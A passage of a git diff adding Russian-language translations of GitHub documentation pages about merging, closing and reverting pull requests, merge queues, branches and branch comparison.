endtip %} + +{% data reusables.repositories.sidebar-pr %} +2. В списке "Запросы на вытягивание" щелкните запрос на вытягивание, который требуется закрыть. +3. В нижней части запроса на вытягивание под полем комментария нажмите кнопку **Закрыть запрос на вытягивание**. + ![Кнопка закрытия запроса на вытягивание](/assets/images/help/pull_requests/pullrequest-closebutton.png) +4. При необходимости [удалите ветвь](/articles/deleting-unused-branches). Это позволит сохранить порядок в списке ветвей в репозитории. diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md new file mode 100644 index 000000000000..62ce25903df0 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md @@ -0,0 +1,30 @@ +--- +title: Включение изменений из запроса на включение изменений +intro: 'Вы можете предложить изменения в работе в {% data variables.product.product_name %} с помощью запросов на вытягивание. Узнайте, как создавать, объединять запросы на вытягивание и управлять ими.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request + - /articles/incorporating-changes-from-a-pull-request + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +children: + - /about-pull-request-merges + - /merging-a-pull-request + - /automatically-merging-a-pull-request + - /merging-a-pull-request-with-a-merge-queue + - /closing-a-pull-request + - /reverting-a-pull-request +shortTitle: Incorporate changes +ms.openlocfilehash: d1acfbbe1fa68bdc80363e6e3abb804a1f268316 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145137766' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md new file mode 100644 index 000000000000..070013746e7e --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue.md @@ -0,0 +1,77 @@ +--- +title: Слияние для запроса на вытягивание с очередью слияния +intro: 'Если очередь слияния требуется для ветви параметром защиты ветви, вы можете добавить запросы на вытягивание в очередь слияния, а {% data variables.product.product_name %} объединит запросы на вытягивание после прохождения всех необходимых проверок.' +versions: + fpt: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Merge PR with merge queue +redirect_from: + - /pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue +ms.openlocfilehash: ce2bc87b82e3590c2a7f55f528fc9f71dc0ceb0d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147614274' +--- +{% data reusables.pull_requests.merge-queue-beta %} + +## Сведения об очередях слияния + +{% data reusables.pull_requests.merge-queue-overview %} {% data reusables.pull_requests.merge-queue-references %} + +## Добавление запроса на вытягивание в очередь слияния + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} + +1. В списке "Запросы на вытягивание" щелкните запрос на вытягивание, который нужно добавить в очередь слияния. + +1. Чтобы добавить запрос на вытягивание в очередь слияния, щелкните **Объединить, когда будете готовы**. Кроме того, если вы являетесь администратором, можно: + - Выполнить прямое слияние для запроса на вытягивание, установив флажок для пунктов **Объединить, не ожидая выполнения требований ({% ifversion bypass-branch-protections %}Обход защиты ветви{% else %}Только для администраторов{% endif %})** , если это разрешено параметрами защиты ветви, и следовать стандартному процессу. + ![Параметры очереди слияния](/assets/images/help/pull_requests/merge-queue-options.png) + + {% tip %} + + **Совет.** Когда все будет готово к слиянию предлагаемых изменений, можно щелкнуть **Выполнить слияние**. {% data variables.product.product_name %} автоматически добавит запрос на вытягивание в очередь слияния после выполнения необходимых условий утверждения и проверок состояния. + + {% endtip %} + +1. Подтвердите добавление запроса на вытягивание в очередь слияния, щелкнув **Подтвердить слияние по готовности**. + +## Удаление запроса на вытягивание из очереди слияния + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} + +1. В списке "Запросы на вытягивание" щелкните запрос на вытягивание, который нужно удалить из очереди слияния. + +1. Чтобы удалить запрос на вытягивание из очереди, щелкните **Удалить из очереди**. + ![Удаление запроса на вытягивание из очереди](/assets/images/help/pull_requests/remove-from-queue-button.png) + +Кроме того, можно перейти на страницу очереди слияния для базовой ветви, щелкнуть **...** возле запроса на вытягивание, который нужно удалить, и выбрать **Удалить из очереди**. Сведения о том, как открыть страницу очереди слияния для базовой ветви, см. в разделе ниже. + +## Просмотр очередей слияния + +Очередь слияния для базовой ветви можно просмотреть в различных местах в {% data variables.product.product_name %}. + +- На странице **Ветви** для репозитория. Рекомендуется использовать этот маршрут, если у вас нет запроса на вытягивание или вы не знаете о запросе, который уже есть в очереди, и если вы хотите узнать, что находится в этой очереди. Дополнительные сведения см. в разделе [Просмотр ветвей в репозитории](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository). + + ![Просмотр очереди слияния на странице "Ветви"](/assets/images/help/pull_requests/merge-queue-branches-page.png) + +- На странице **Запросы на вытягивание** вашего репозитория щелкните {% octicon "clock" aria-label="The clock symbol" %} рядом с любым запросом на вытягивание в очереди слияния. + + ![Просмотр очереди слияния на странице "Запросы на вытягивание"](/assets/images/help/pull_requests/clock-icon-in-pull-request-list.png) + +- На странице запросов на вытягивание, когда для слияния требуется очередь слияния, прокрутите страницу до нижней части временной шкалы и щелкните ссылку на **очередь слияния**. + + ![Ссылка на очередь слияния в запросе на вытягивание](/assets/images/help/pull_requests/merge-queue-link.png) + +- В представлении очереди слияния отображаются запросы на вытягивание, которые в настоящее время находятся в очереди. Ваши запросы на вытягивание явно помечены. + + ![Представление очереди слияния](/assets/images/help/pull_requests/merge-queue-view.png) + +## Обработка запросов на вытягивание, удаленных из очереди слияния + +{% data reusables.pull_requests.merge-queue-reject %} diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md new file mode 100644 index 000000000000..43cefc9fe496 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md @@ -0,0 +1,108 @@ +--- +title: Слияние запроса на вытягивание +intro: Слияние запроса на вытягивание в вышестоящей ветви после завершения работы. Любой пользователь с доступом для передачи данных к репозиторию может выполнить такое слияние. +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request + - /articles/merging-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/merging-a-pull-request + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: a41d467fa765e54cb1cb9254394237cc32c9a7b0 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009159' +--- +## Сведения о слиянии запросов на вытягивание + +В запросе на вытягивание предлагается выполнить слияние изменений, внесенных в главную ветвь, в базовую. По умолчанию для любого запроса на вытягивание можно выполнить слияние в любое время, если главная ветвь не конфликтует с базовой. Однако при слиянии запроса на вытягивание в определенную ветвь могут быть ограничения. Например, можно выполнить слияние запроса на вытягивание только в ветвь по умолчанию, если проходят необходимые проверки состояния. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches). + +{% data reusables.pull_requests.you-can-auto-merge %} + +Если в запросе на вытягивание есть конфликты слияния или если вы хотите протестировать изменения перед слиянием, можно [проверить запрос на вытягивание локально](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally) и выполнить для него слияние с помощью командной строки. + +Нельзя выполнить слияние для черновика запроса на вытягивание. Дополнительные сведения о черновиках запросов на вытягивание см. в разделе [Сведения о запросах на вытягивание](/articles/about-pull-requests#draft-pull-requests). + +Репозиторий можно настроить таким образом, чтобы главная ветвь для запроса на вытягивание автоматически удалялась при его слиянии. Дополнительные сведения см. в разделе [Управление автоматическим удалением ветвей](/github/administering-a-repository/managing-the-automatic-deletion-of-branches). + +{% note %} + +**Примечание:** {% data reusables.pull_requests.retargeted-on-branch-deletion %} Дополнительную информацию см. в разделе [Сведения о ветвях](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches). + +{% endnote %} + +Слияние для запросов на вытягивание выполняется с помощью[ `--no-ff`параметра](https://git-scm.com/docs/git-merge#_fast_forward_merge), за исключением [запросов на вытягивание со сжатыми или перемещенными фиксациями](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges), для которых выполняется слияние с помощью параметра быстрого переадресации. + +{% data reusables.pull_requests.close-issues-using-keywords %} + +Если вы решили, что для изменений в ветви раздела не должно выполняться слияние с вышестоящей ветвью, можно [закрыть запрос на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request) без слияния. + +## Слияние запроса на вытягивание + +{% webui %} + +{% data reusables.repositories.sidebar-pr %} +2. В списке "Запросы на вытягивание" щелкните тот, который требуется изменить. +3. В зависимости от параметров слияния, включенных для репозитория, можно: + - [Выполнить слияние всех фиксаций в базовую ветвь](/articles/about-pull-request-merges/), щелкнув **Выполнить слияние запросов на вытягивание**. Если параметр **Выполнить слияние запросов на вытягивание** не отображается, щелкните раскрывающееся меню слияния и выберите **Создание фиксации слияния**. + ![кнопка объединения запросов на вытягивание](/assets/images/help/pull_requests/pullrequest-mergebutton.png) + - [Сожмите все фиксации в одну](/articles/about-pull-request-merges/#squash-and-merge-your-pull-request-commits), щелкнув раскрывающееся меню слияния и выбрав **Слияние со сжатием**, а затем нажмите кнопку **Слияние со сжатием**. + ![click-squash-and-merge-button](/assets/images/help/pull_requests/select-squash-and-merge-from-drop-down-menu.png) + - [Переместите фиксации по отдельности в базовую ветвь](/articles/about-pull-request-merges/#rebase-and-merge-your-pull-request-commits), щелкнув раскрывающееся меню слияния и выбрав **Переместить и выполнить слияние**, а затем нажмите кнопку **Переместить и выполнить слияние**. + ![select-rebase-and-merge-from-drop-down-menu](/assets/images/help/pull_requests/select-rebase-and-merge-from-drop-down-menu.png) + + {% note %} + + **Примечание.** Перемещение и слияние всегда будут обновлять информацию о зафиксировавшем и создавать новые SHA фиксации. Дополнительную информацию см. в разделе [Сведения о слияниях запросов на вытягивание](/articles/about-pull-request-merges#rebase-and-merge-your-pull-request-commits). + + {% endnote %} +4. При появлении запроса введите сообщение о фиксации или примите сообщение по умолчанию. + + {% data reusables.pull_requests.default-commit-message-squash-merge %} ![Поле сообщения фиксации](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png) + +{% data reusables.files.choose-commit-email %} + + {% note %} + + **Примечание:** Селектор электронной почты недоступен для слияний повторной базы данных, которые не создают фиксацию слияния{% ifversion squash-merge-email %}. Для слияний сквошов селектор электронной почты отображается только в том случае, если вы автор запроса на вытягивание и имеете несколько адресов электронной почты, связанных с вашей учетной записью. {% else %}, или для слияний сквошов, которые зачисляют пользователя, создавшего запрос на вытягивание в качестве автора сквошной фиксации. {% endif %} + + {% endnote %} + +6. Щелкните **Подтвердить слияние**, **Подтвердить слияние со сжатием** или **Подтвердить перемещение и слияние**. +6. При необходимости [удалите ветвь](/articles/deleting-unused-branches). Это позволяет сохранить список ветвей в репозитории чистым. + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Чтобы выполнить слияние для запроса на вытягивание, используйте подкоманду `gh pr merge`. Замените `pull-request` номером, URL-адресом или главной ветвью запроса на вытягивание. + +```shell +gh pr merge PULL-REQUEST +``` + +Следуйте интерактивным указаниям, чтобы завершить слияние. Дополнительную информацию о методах слияния, которые вы можете выбрать, см. в разделе [Сведения о слияниях запросов на вытягивание](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges). + +Кроме того, можно использовать флаги для пропуска интерактивных запросов. Например, эта команда сожмет фиксации в одну с сообщением фиксации "моя сжатая фиксация", выполнит слияние для сжатой фиксации в базовую ветвь, а затем удалит локальную и удаленную ветви. + +```shell +gh pr merge 523 --squash --body "my squash commit" --delete-branch +``` + +{% endcli %} + +## Дополнительные материалы + +- [Отмена запроса на вытягивание](/articles/reverting-a-pull-request) +- [Синхронизация ветви](/desktop/guides/contributing-to-projects/syncing-your-branch/) с помощью {% data variables.product.prodname_desktop %} +- [Сведения о слиянии запросов на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) +- [Разрешение конфликтов слияния](/github/collaborating-with-pull-requests/addressing-merge-conflicts) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md new file mode 100644 index 000000000000..7d7f0443359b --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request.md @@ -0,0 +1,44 @@ +--- +title: Отмена запроса на вытягивание +intro: Вы можете отменить изменения запроса на вытягивание после слияния с вышестоящей ветвью. +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/reverting-a-pull-request + - /articles/reverting-a-pull-request + - /github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 9e94b6e9358089da8f62ff5152800e14556db3e7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139662' +--- +## Сведения об отмене запроса на вытягивание. + +При отмене запроса на вытягивание в {% data variables.product.product_name %} создается новый запрос на вытягивание, содержащий одну операцию отмены фиксации слияния из исходного объединенного запроса на вытягивание. Чтобы отменять запросы на вытягивание, необходимо иметь [разрешения на запись](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) в репозиторий. + +## Отмена запроса на вытягивание + +{% note %} + +**Примечание**. Отмена отдельных фиксаций в запросе на вытягивание может потребоваться в любом из следующих случаев. + +- Отмена запроса на вытягивание приводит к конфликтам слияния. +- Исходный запрос на вытягивание изначально не был объединен с {% data variables.product.product_name %}. Например, другой пользователь мог выполнить быстрое слияние запроса на вытягивание с помощью командной строки. + +Дополнительные сведения об использовании Git для отмены отдельных фиксаций вручную см. в описании команды [git revert](https://git-scm.com/docs/git-revert.html) в документации по Git. + +{% endnote %} + +{% data reusables.repositories.sidebar-pr %} +2. В списке "Запросы на вытягивание" щелкните запрос на вытягивание, который требуется отменить. +3. В нижней части запроса на вытягивание щелкните **Отменить изменения**. Если параметр **Отменить изменения** не отображается, обратитесь к администратору репозитория для получения разрешений на запись. + ![Ссылка для отмены запроса на вытягивание](/assets/images/help/pull_requests/revert-pull-request-link.png) +4. Выполните слияние полученного запроса на вытягивание. Дополнительные сведения см. в разделе [Слияние запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/index.md new file mode 100644 index 000000000000..4a4dea8f09a1 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/index.md @@ -0,0 +1,35 @@ +--- +title: Совместная работа с запросами на вытягивание +intro: 'Отслеживайте и обсуждайте изменения в проблемах, а затем предлагайте и просматривайте изменения в запросах на вытягивание.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests + - /categories/63/articles + - /categories/collaborating + - /categories/collaborating-on-projects-using-pull-requests + - /categories/collaborating-on-projects-using-issues-and-pull-requests + - /categories/collaborating-with-issues-and-pull-requests + - /github/collaborating-with-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +children: + - /getting-started + - /working-with-forks + - /collaborating-on-repositories-with-code-quality-features + - /proposing-changes-to-your-work-with-pull-requests + - /addressing-merge-conflicts + - /reviewing-changes-in-pull-requests + - /incorporating-changes-from-a-pull-request +shortTitle: Collaborate with pull requests +ms.openlocfilehash: 19b7ca93912d7368f7a727262d684ae158f98849 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145137758' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md new file mode 100644 index 000000000000..03c7e00a1902 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md @@ -0,0 +1,87 @@ +--- +title: О ветвях +intro: Используйте ветвь для изоляции процессов разработки без влияния на другие ветви в репозитории. Каждый репозиторий содержит одну ветвь по умолчанию и может также содержать несколько других ветвей. Можно объединить ветвь в другую ветвь с помощью запроса на вытягивание. +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches + - /articles/working-with-protected-branches + - /articles/about-branches + - /github/collaborating-with-issues-and-pull-requests/about-branches + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 0262a7a8fb0bb8556c3f6062e3fc8512eb9fa1c6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139657' +--- +## О ветвях + +Ветви позволяют разрабатывать возможности, исправлять ошибки или безопасно экспериментировать с новыми идеями в автономной области репозитория. + +Вы всегда создаете ветвь из существующей ветви. Как правило, новую ветвь можно создать из ветви репозитория по умолчанию. Затем в этой новой ветви можно работать без учета изменений, вносимых в репозиторий другими людьми. Ветвь, созданная для создания возможности, обычно называется ветвью возможности или тематической веткой. Дополнительные сведения см. в разделе [Создание и удаление ветвей репозитория](/articles/creating-and-deleting-branches-within-your-repository/). + +Вы также можете использовать ветвь для публикации сайта {% data variables.product.prodname_pages %}. Дополнительные сведения см. в статье [Сведения о {% data variables.product.prodname_pages %}](/articles/what-is-github-pages). + +Необходимо иметь доступ на запись в репозиторий, чтобы создать ветвь, открыть запрос на вытягивание или удалить и восстановить ветви в запросе на вытягивание. Дополнительные сведения см. в разделе [Разрешения на доступ к {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github). + +## Сведения о ветви по умолчанию + +{% data reusables.branches.new-repo-default-branch %} Ветвь по умолчанию — это ветвь, которую {% data variables.product.prodname_dotcom %} отображает при посещении репозитория. Ветвь по умолчанию также является начальной ветвью, которую Git извлекает локально, когда кто-то клонирует репозиторий. {% data reusables.branches.default-branch-automatically-base-branch %} + +По умолчанию {% data variables.product.product_name %} называет ветвь по умолчанию `main` в любом новом репозитории. + +{% data reusables.branches.change-default-branch %} + +{% data reusables.branches.set-default-branch %} + +## Работа с ветвями + +Когда вы удовлетворены работой, вы можете открыть запрос на вытягивание, чтобы объединить изменения в текущей ветви (*головной* ветви) в другую ветвь (*базовую* ветвь). Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). + +После объединения или закрытия запроса на вытягивание можно удалить головную ветвь, так как она больше не нужна. Для удаления ветвей необходимо иметь доступ на запись в репозитории. Невозможно удалить ветви, которые напрямую связаны с открытыми запросами на вытягивание. Дополнительные сведения см. в разделе [Удаление и восстановление ветвей в запросе на вытягивание](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request) + +{% data reusables.pull_requests.retargeted-on-branch-deletion %} На указанных ниже схемах показано следующее. + + Здесь кто-то создал ветвь, вызываемую `feature1` из ветви `main`, и вы создали ветвь, вызываемую `feature2` из `feature1`. Здесь есть открытые запросы на вытягивание для обеих ветвей. Стрелки указывают текущую базовую ветвь для каждого запроса на вытягивание. На этом этапе `feature1` является базовой ветвью для `feature2`. Если запрос на вытягивание для `feature2` объединен сейчас, ветвь `feature2` будет объединена в `feature1`. + + ![кнопка объединения запросов на вытягивание](/assets/images/help/branches/pr-retargeting-diagram1.png) + +На указанной ниже схеме кто-то объединил запрос на вытягивание `feature1` в ветвь `main` и удалил ветвь `feature1`. В результате {% data variables.product.prodname_dotcom %} автоматически перенацелил запрос на вытягивание `feature2` таким образом, чтобы его базовой ветвью стала `main`. + + ![кнопка объединения запросов на вытягивание](/assets/images/help/branches/pr-retargeting-diagram2.png) + +Теперь при слиянии запроса на вытягивание `feature2` он будет объединен в ветвь `main`. + +## Работа с защищенными ветвями + +Администраторы репозитория могут включать защиты в ветви. Если вы работаете с защищенной ветвью, то не сможете удалить или принудительно отправить ее в ветвь. Администраторы репозитория могут дополнительно включить несколько других параметров защищенной ветви для принудительного применения различных рабочих процессов перед слиянием ветви. + +{% note %} + +**Примечание.** Если вы являетесь администратором репозитория, вы можете объединить запросы на вытягивание в ветвях с включенными защитами ветви, даже если запрос на вытягивание не соответствует требованиям, если только защита ветви не задана как "Включить администраторов". + +{% endnote %} + +Чтобы узнать, можно ли объединить запрос на вытягивание, просмотрите поле слияния в нижней части вкладки **Беседы** запроса на вытягивание. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/articles/about-protected-branches). + +Если ветвь защищена: + +- Вы не сможете удалить или принудительно отправить ее в ветвь. +- Если в ветви включены необходимые проверки состояния, вы не сможете объединить изменения в ветвь до тех пор, пока не будут пройдены все необходимые проверки CI. Дополнительные сведения см. в разделе [Сведения о проверках состояния](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). +- Если в ветви включены необходимые проверки запросов на вытягивание, вы не сможете объединить изменения в ветвь до тех пор, пока не будут выполнены все требования в политике проверки запросов на вытягивание. Дополнительные сведения см. в разделе [Слияние запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request). +- Если обязательная проверка от владельца кода включена в ветви, а запрос на вытягивание изменяет код, имеющий владельца, владелец кода должен утвердить запрос на вытягивание, прежде чем его можно будет объединить. Дополнительные сведения см. в разделе [Сведения о владельцах кода](/articles/about-code-owners). +- Если в ветви включена обязательная подпись фиксации, вы не сможете отправлять фиксации в ветвь, которая не подписана и не проверена. Дополнительные сведения см. в разделах [Сведения о проверке подписи фиксации](/articles/about-commit-signature-verification) и [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches#require-signed-commits). +- Если вы используете редактор конфликтов {% data variables.product.prodname_dotcom %}, чтобы устранить конфликты для запроса на вытягивание, созданного из защищенной ветви, {% data variables.product.prodname_dotcom %} помогает создать альтернативную ветвь для запроса на вытягивание, чтобы решения конфликтов можно было объединить. Дополнительные сведения см. на странице [Устранение конфликта слияния для {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github). + +## Дополнительные материалы + +- [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) +- Термин [Ветвь](/articles/github-glossary/#branch) в глоссарии {% data variables.product.prodname_dotcom %} +- Раздел [Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) (Коротко о ветвях) в документации по Git diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md new file mode 100644 index 000000000000..7ebc7fa4917d --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md @@ -0,0 +1,97 @@ +--- +title: Сравнение ветвей в запросе на вытягивание +intro: 'Запросы на вытягивание отображают объекты diff для сравнения изменений, внесенных в ветвь раздела, с базовой ветвью, с которой вы планируете объединить изменения.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests + - /articles/about-comparing-branches-in-pull-requests + - /github/collaborating-with-issues-and-pull-requests/about-comparing-branches-in-pull-requests + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Compare branches +ms.openlocfilehash: c45bcb3bceda42019be3139724e0b68234e90cfc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881807' +--- +{% note %} + +**Примечание.** При создании запроса на вытягивание можно изменить базовую ветвь, с которой вы сравниваете изменения. Дополнительные сведения см. в разделе [Создание запроса на вытягивание](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository). + +{% endnote %} + +Предлагаемые изменения можно просмотреть на вкладке "Измененные файлы". ![ Вкладка "Измененные файлы" запроса на вытягивание](/assets/images/help/pull_requests/pull-request-tabs-changed-files.png) + +Вместо того чтобы просматривать сами фиксации, вы можете просмотреть предлагаемые изменения в том виде, в котором они будут отображаться в файлах после объединения запроса на вытягивание. Файлы отображаются в алфавитном порядке на вкладке "Измененные файлы". Добавления к файлам отображаются зеленым цветом и предваряются знаком `+`, а удаляемое содержимое отображается красным цветом и предваряется знаком `-`. + +## Варианты просмотра изменений + +{% tip %} + +**Совет.** Если вам трудно понять контекст изменений, можно нажать кнопку **Просмотреть** на вкладке "Измененные файлы", чтобы просмотреть весь файл с предлагаемыми изменениями. + +{% endtip %} + +Существует несколько вариантов просмотра изменений. +- Единое представление отображает обновленное и существующее содержимое вместе в линейном представлении. +- В разделенном представлении отображается старое содержимое с одной стороны и новое содержимое с другой стороны. +- В расширенном представлении изменений показано, как изменения будут выглядеть после объединения запроса на вытягивание. +- Представление исходного кода показывает изменения в исходном коде без форматирования расширенного представления изменений. + +Вы также можете выбрать игнорирование изменений пробелов, чтобы получить более точное представление о существенных изменениях в запросе на вытягивание. + +![Меню параметров просмотра изменений](/assets/images/help/pull_requests/diff-settings-menu.png) + +Чтобы упростить просмотр изменений в большом запросе на вытягивание, можно отфильтровать различия, чтобы отобразить только выбранные типы файлов, показать файлы, для которых вы являетесь CODEOWNER, скрыть уже просмотренные файлы или скрыть удаленные файлы. Дополнительные сведения см. в разделе [Фильтрация файлов в запросе на вытягивание по типу файла](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request). + + ![Раскрывающееся меню фильтрации файлов](/assets/images/help/pull_requests/file-filter-menu.png) + +## Причины, по которым изменения не отображаются +- Превышен общий предел файлов или определенных типов файлов. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#limits-for-viewing-content-and-diffs-in-a-repository). +- Файл соответствует правилу в файле *.gitattributes* репозитория, которое запрещает отображение этого файла по умолчанию. Дополнительные сведения см. в разделе [Настройка отображения измененных файлов в GitHub](/articles/customizing-how-changed-files-appear-on-github). + +## Трехточечные и двухточечные сравнения изменения Git + +Есть два метода сравнения для команды `git diff`: двухточечный (`git diff A..B`) и трехточечный (`git diff A...B`). По умолчанию запросы на вытягивание вё {% data variables.product.prodname_dotcom %} показывают трехточечное сравнение. + +### Трехточечное сравнение изменений Git + +Трехточечное сравнение показывает разницу между последней общей фиксацией обеих ветвей (база слияния) и последней версией тематической ветви. + +### Двухточечное сравнение изменений Git + +Двухточечное сравнение показывает разницу между последним состоянием базовой ветви (например, `main`) и последней версией тематической ветки. + +Чтобы просмотреть две ссылки на коммитиши в двухточечном сравнения на {% data variables.product.prodname_dotcom %}, можно изменить URL-адрес страницы "Сравнение изменений" репозитория. Дополнительные сведения см. в [описании термина "committish" в глоссарии Git](https://git-scm.com/docs/gitglossary#gitglossary-aiddefcommit-ishacommit-ishalsocommittish) на сайте книги _Pro Git_. + +{% data reusables.repositories.two-dot-diff-comparison-example-urls %} + +Двухточечное сравнение изменений сравнивает две ссылки на коммитиши Git, например SHA или OID (идентификаторы объектов), непосредственно друг с другом. На {% data variables.product.prodname_dotcom %} 